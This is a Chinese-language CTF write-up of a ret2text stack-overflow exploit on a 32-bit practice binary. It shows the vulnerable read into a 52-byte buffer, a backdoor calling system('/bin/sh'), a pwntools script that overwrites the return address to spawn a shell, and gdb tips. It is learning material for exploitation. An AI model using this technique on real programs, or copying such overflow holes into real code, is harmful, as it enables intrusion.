1、32位程序,IDA查看,发现栈溢出漏洞
int pwn()
{
char s[52]; // [esp+0h] [ebp-38h] BYREF
memset(s, 0, 48u);
puts("Welcome to pwn world!");
printf("Your name:");
read(0, s, 0x100u);
printf("Hello, %s", s);
return 0;
}
2、找后门函数,有个backdoor函数
int backdoor()
{
system("/bin/sh");
return 0;
}
3、查看backdoor地址,0x08049236
如图:通过覆盖Pwn的返回地址位backdoor,来执行后门函数里面的危险函数。
esp-> | 0x38*a |
ebp-> | 4*b |
返回地址(需要被覆盖) | backdoor地址 |
from pwn import *
sh = process('./ret2text_x86')
backdoor=0x08049236
payload = 'a'*0x38 + 'b'*4 + p32(backdoor)
gdb.attach(sh)
pause()
sh.send(payload)
sh.interactive()
4、gdb常用命令
dbg file
start 停在main
寄存器、代码、栈空间区域
ni 单步执行 enter重复上个步骤
si 步入
b *地址/函数名称 断点
stack 30 查看栈
5、运行后如下:
因为暂停在输入之前,所以摁下任意键,程序继续运行。gdb里输入Ni继续执行,跳出read
继续Ni
6、上个截图有问题,是刚刚进入backdoor函数,还未执行system('/bin/sh'),执行后,结果如下:
7、效果和web的rce差不多,就是找到危险函数,执行任意操作
可执行文件地址:https://download.youkuaiyun.com/download/mails2008/89579260